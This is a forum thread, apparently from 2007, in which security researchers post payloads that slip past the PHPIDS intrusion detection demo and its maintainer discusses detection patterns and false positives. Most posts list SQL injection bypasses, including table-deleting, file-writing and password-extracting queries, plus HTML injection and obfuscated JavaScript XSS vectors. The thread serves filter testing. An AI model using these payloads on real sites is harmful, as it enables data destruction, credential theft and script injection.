actually none, because if "--" is accepted, the rest will get ignored anyways, afaik.
Ronald Wrote:
-------------------------------------------------------
> This will pass: 1 AND(DELETE FROM LOGIN)
>
> Integer SQL injection, which deletes table, or
> inserts.
>
> is exploitable like this:
>
> # weak query int SQL injection.
> $sql = "SELECT * FROM LOGIN WHERE id =
> $_POST['id'] ";
>
> # exploit result
> $sql = "SELECT * FROM LOGIN WHERE id = 1
> AND(DELETE FROM LOGIN) "; // pow!
assuming someone uses Ronalds code there are a lot more injections possible. while " OR 1=1" will get detected, " OR (1)=(1)" will not.
http://demo.php-ids.org/?test=%20OR%20(1)=(1)%20
http://demo.php-ids.org/?test=1%20OR%20(DROP%20TABLE%20users)=(1)%20
Ronald already pointed that out with his example, but maybe you overlooked it ;)
this would also work for code which is using brackets around an integer like
$sql = "SELECT * FROM LOGIN WHERE id = ($_POST['id'])";
-> http://demo.php-ids.org/?test=)OR(1)=(1
//SQL injection with quotes in query
http://demo.php-ids.org/?test=1'%20OR%20'1'%20%26%26%20'1
http://demo.php-ids.org/?test=1'%20OR%20'1'%20%26%20'1
--> ?test=1' OR '1' && '1
http://demo.php-ids.org/?test=1'%20OR%20'1'%20XOR%20'0
--> ?test=1' OR '1' XOR '0
http://demo.php-ids.org/?test=1'%20OR%20%221%22%20^%20'0
--> ?test=1' OR "1" ^ '0
http://demo.php-ids.org/?test=1'%20OR%20'1'%20^%20'0
--> ?test=1' OR '1' ^ '0
http://demo.php-ids.org/?test=1'%20OR%20'1'|'2
--> ?test=1' OR '1'|'2
(typical injections)
//SQL injection without quotes in query
http://demo.php-ids.org/?test=1%20OR%20'1'%20^%200
--> ?test=1 OR '1' ^ 0
http://demo.php-ids.org/?test=1%20OR%20"1"%20^%200
--> ?test=1 OR "1" ^ 0
same examples as above, without quotes
http://demo.php-ids.org/?test=1%20OR%20'1'%261
http://demo.php-ids.org/?test=1%20OR%20%221%22%20^%200
http://demo.php-ids.org/?test=1%20OR%20'1'|2
(only the first number quoted. quoting only the second or both will get detected)
//other SQL
http://demo.php-ids.org/?test=1'%20%23foo
--> ?test=1' #foo
(still works as comment for SQL. " # " gets detected, but not if you place some stuff behind it. Could lead to false positives when filtering)
edit: same for ?test=1' --foo
http://demo.php-ids.org/?test=1%20OR%2b1=1
--> ?test=1 OR+1=1
edit: of course all other combinations:
http://demo.php-ids.org/?test=1%20OR%2b(1)=(1)%20
http://demo.php-ids.org/?test=1%20OR%2b'1'=(1)%20
http://demo.php-ids.org/?test=1%20OR%2b'1'=1
http://demo.php-ids.org/?test=1'%20INTO%20DUMPFILE%20'C:/programs/e-novative/wamp/www/read.txt
--> ?test=1' INTO DUMPFILE 'C:/programs/e-novative/wamp/www/readme.txt
http://demo.php-ids.org/?test=1'%20INTO%20OUTFILE%20'C:/programs/e-novative/wamp/www/read.txt
--> ?test=1' INTO OUTFILE 'C:/programs/e-novative/wamp/www/readme.txt
(could be dangerous if the result for some sensitive data doesnt get displayed, but executed)
all examples have been (successfully) tested in MySQL
MfG, Reiners ;)
Edited 5 time(s). Last edit at 08/19/2007 09:58AM by Reiners.
//OUTFILE still works
http://demo.php-ids.org/?test=1'%20INTO%20OUTFILE%20'C:/programs/e-novative/wamp/www/read.txt
--> ?test=1' INTO OUTFILE 'C:/programs/e-novative/wamp/www/read.txt
http://demo.php-ids.org/?test=1%20UNION%20SELECT%20'my%20text'%20INTO%20OUTFILE%20'readme.txt'%20
--> ?test=1 UNION SELECT 'my text' INTO OUTFILE 'readme.txt'
//combinable with the second OUTFILE example
http://demo.php-ids.org/?test=;%20LOAD%20DATA%20INFILE%20'readme.txt'%20INTO%20TABLE%20users
--> ?test=; LOAD DATA INFILE 'readme.txt' INTO TABLE users
//delete and rebuild table
http://demo.php-ids.org/?test=';%20TRUNCATE%20users
--> ?test='; TRUNCATE users
SQL comments still work for queries without quotes
http://demo.php-ids.org/?test=1%20%23!foo
--> ?test=1 #!foo
http://demo.php-ids.org/?test=1%20--!foo
--> ?test=1 --!foo
But false positives could become a problem.
http://demo.php-ids.org/?test=good%20or%20bad
--> ?test=good or bad
http://demo.php-ids.org/?test=Player%20%231
--> ?test=Player #1
yes, you are right. I had my focus more on circumventing the IDS than estimating the dangerousness ;) Correct me if I'm wrong, but the input "1 #!foo" could be dangerous at the following query:
SELECT data FROM sensitive WHERE id = $test AND name = '$name' AND password = '$pass'
(requires query with input without quotes - integer - first)
Don't worry it's a big problem when you tend to think in theories only. I have similar quircks, it's tough to adjust back and look at the real terrain instead on the map alone.
@Reiners: It's hard to define the term dangerous in this case. If an attacker manages to evade filters and the PHPIDS with "1 #!foo" he proved that the site can be attacked with SQLI. But any actual SQLI will be detected immediately. Also the problem is that is no real way to detect this pattern without generating tons of false alerts - one would have to use (?:#|//|{).*$ which matches too many things usually entered in forms... unfortunately ;)
yes, I see the problem with false postives. On a practical view it is definetly better to not filter single chars like "#". Besides that, more common injections with comments already get detected, so yeah, I agree ;)
http://www.the-mice.co.uk/SmokeTest/SmokeTest.aspx?param1=%5D%21%3E%3Ch3%3Eparam1%3C%21%5B¶m2=%21%5D%3E%3Ch3%3Eparam2%3C%21%5B¶m3=%21%5D%3E%3Ch3%3Eparam3%3C%21%5B
html injection, it affects php-ids too http://demo.php-ids.org/?test=%5D%21%3E%3Ch2%3EHi%2C%20Ive%20injected%20html%3C/h2%3E%3C%21%5B , although admittedly I haven't been able to get any downright malicious html in, yet
-tx @ lowtech-labs.org
Edited 2 time(s). Last edit at 08/23/2007 01:46AM by tx.
@tx: Yes - HTML injection works - but as you already said, it shouldn't be possible to inject malicious HTML or stuff that loads binary data from arbitrary sources.
Hi .mario!
Again I played with your PHP-IDS SQLI filters, especially "OR 1=1" ;)
You are probably not going to filter all issues, but maybe some help:
//for query without quotes
http://demo.php-ids.org/?test=1%20OR%2b1=1
--> ?test=1 OR+1=1
http://demo.php-ids.org/?test=1%20OR%2b(1)=(1)%20
--> ?test=1 OR+(1)=(1)
(I've already posted those two, but since php-ids filters "1 OR 1=1" I thought it is not allowed because of false positives. maybe it slipped through the filters during the changes, because it was filtered once)
http://demo.php-ids.org/?test=1%20OR%20ASCII(2)%20=%20ASCII(2)
--> ?test=1 OR ASCII(2) = ASCII(2)
(works with MD5(), BIN(), HEX(), VERSION(), USER(), bit_length(), SPACE() and so on)
http://demo.php-ids.org/?test=1%20OR%20'1'!=0
--> ?test=1 OR '1'!=0
http://demo.php-ids.org/?test=1%20OR%201%20IS%20NOT%20NULL
--> ?test=1 OR 1 IS NOT NULL
http://demo.php-ids.org/?test=1%20OR%20NULL%20IS%20NULL
--> ?test=1 OR NULL IS NULL
//(more common) injections at query with quotes
http://demo.php-ids.org/?test=1'%20OR%201%26'1
--> ?test=1' OR 1&'1
(also works for "|", "^" and "%")
http://demo.php-ids.org/?test=1'%20OR%20'1'%20XOR%20'0
--> ?test=1' OR '1' XOR '0
In my opinion the last two are quite important, because they fit into querys with quotes. But I also posted the other ones, since there is the problem with the comments, which also makes the examples above fit to a query with quotes.
http://demo.php-ids.org/?test=1'%20OR%20%221%22%20IS%20NOT%20NULL%20%23!asd
It's impossible to RegEx out everything, basic rule I figure. That's why many work with whitelists for GET and deny all crap and encode the stuff that get's posted.
Thanks again - I developed a pattern to detect most of them excluding this ones:
1 OR 1 IS NOT NULL
1 OR NULL IS NULL
I will do some false positive tests with the new patter before the close 0.3.2 release - let#s see what will happen.
@Ronald: You are right - the PHPIDS doesn't check a string when only consisting of \w* for performance reasons so some very basic SQL injection probings might slip through - but as soon as you start doing some real injection action it will be detected for sure.
I'd recommend every developer to work with white lists depending on the form input he's dealing with - it's the only way. But again there's the problem with uniting security and usability.
New one which I sent mario:-
s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+'';u1=s1+s2+s3;URL=u1
This one's cool, which has now been fixed:-
s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';
s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);
Got loads of cool ones but failed attempts, their reg exps really do catch a lot of stuff.
Edited 1 time(s). Last edit at 09/04/2007 08:02AM by Gareth Heyes.
Here's the latest one:-
s1=''+"jav"+'';s2=''+"ascri"+'';s3=''+"pt"+'';s4=''==''?':':0;s5=''+"aler"+'';s6=''+"t"+'';s7=''==''?'(1)':0;s8=s1+s2+s3+s4+s5+s6+s7;URL=s8
Another one which is very tough to protect against:-
URL=name
Only works on IE and is initiated with onclick, name is window.name javascript injection. See http://www.sirdarckcat.net/xss-phpids.html for Sirdarckcat's window.name injection example.
Phew - indeed! Just returned from OWASP chapter meeting. I will take care of those tomorrow morning! Thanks Gareth - let's chat about the interview this weekend!
I hope you don't mind me sending you all those vectors, I just got into it a lot and started noticing weaknesses in your patterns. I don't even need to read your reg exps anymore ;)
This one nearly works:-
s1=(0^0==0)?'java'+'s':'ABCDEFG';s2=(!1&2|1==4)?'ABCDEFG':'crip'+'t';s3=(1^2==0)?':':'ABC'+'DEFG';s4=(1/2==1)?'ABC'+'XYZ':'aler';
s5=(2-1==1)?'t':'t';s6=(1&2!=0)?'(1)':'0123AEF'+'ABCDEFG';s7=s1+s2+s3+s4+s5+s6;URL=s7;
I've included it here because it shows exactly how hard the problem is that you are trying to solve. I've mixed many different operators/conditions to show you the difficulty of trying to protect against it.
Mario what I think you're trying to do is impossible but I hope you prove me wrong :D
I'm impressed that the above doesn't get through however parts of it probably could with slight variation. Let me know when you've done the next update and I'll love to have another go.
Edited 1 time(s). Last edit at 09/07/2007 04:17AM by Gareth Heyes.
something is wrong with the sql filters:
http://demo.php-ids.org/?test='%20union%20all%20select%20name,passwd%20from%20users%20%23aa
--> ?test=' union all select name,passwd from users #aa
http://demo.php-ids.org/?test=%20union%20select%20name,passwd%20from%20users%20%23aa
--> ?test= union select name,passwd from users #aa
this one is weird, because it only works on POST
http://demo.php-ids.org/?test='%20union%20all%20select%20name,passwd%20from%20users%20where%20id%20=%20'1
but its the same issue as above.